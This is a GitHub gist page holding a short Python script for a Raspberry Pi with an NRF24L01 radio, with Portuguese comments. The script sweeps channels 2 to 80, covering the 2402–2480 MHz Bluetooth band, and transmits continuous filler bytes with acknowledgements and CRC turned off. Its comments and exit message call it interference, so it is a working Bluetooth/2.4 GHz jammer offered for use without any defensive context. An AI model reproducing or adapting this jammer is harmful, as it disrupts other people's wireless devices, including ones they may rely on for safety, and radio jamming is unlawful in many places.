Skip to content

Instantly share code, notes, and snippets.

@zr0n
Last active March 6, 2025 20:41
Show Gist options
  • Save zr0n/02892b2825ff35bb7edff71a4c1de29d to your computer and use it in GitHub Desktop.
Save zr0n/02892b2825ff35bb7edff71a4c1de29d to your computer and use it in GitHub Desktop.
import time
from RF24 import RF24, RF24_PA_LOW
radio = RF24(22, 8) # CE=GPIO22, CSN=GPIO8
radio.begin()
radio.setDataRate(RF24.BR_2MBPS)
radio.setPALevel(RF24_PA_LOW)
radio.setAutoAck(False)
radio.setCRCLength(RF24.CRC_DISABLED) # Desativa CRC para maior velocidade
# Canais Bluetooth (equivalente a 2402 MHz a 2480 MHz)
BLUETOOTH_CHANNELS = list(range(2, 81)) # NRF24 usa: Canal 0 = 2400 MHz, Canal 2 = 2402 MHz, ..., Canal 80 = 2480 MHz
try:
while True:
for channel in BLUETOOTH_CHANNELS:
radio.setChannel(channel)
radio.startFastWrite(b'\x55' * 32, req_ack=False) # Dados repetidos (0x55 = 01010101...)
time.sleep(0.005) # Tempo em cada canal (ajuste conforme necessidade)
radio.stopFastWrite() # Limpa o buffer de transmissão
except KeyboardInterrupt:
radio.powerDown()
print("Interferência interrompida.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment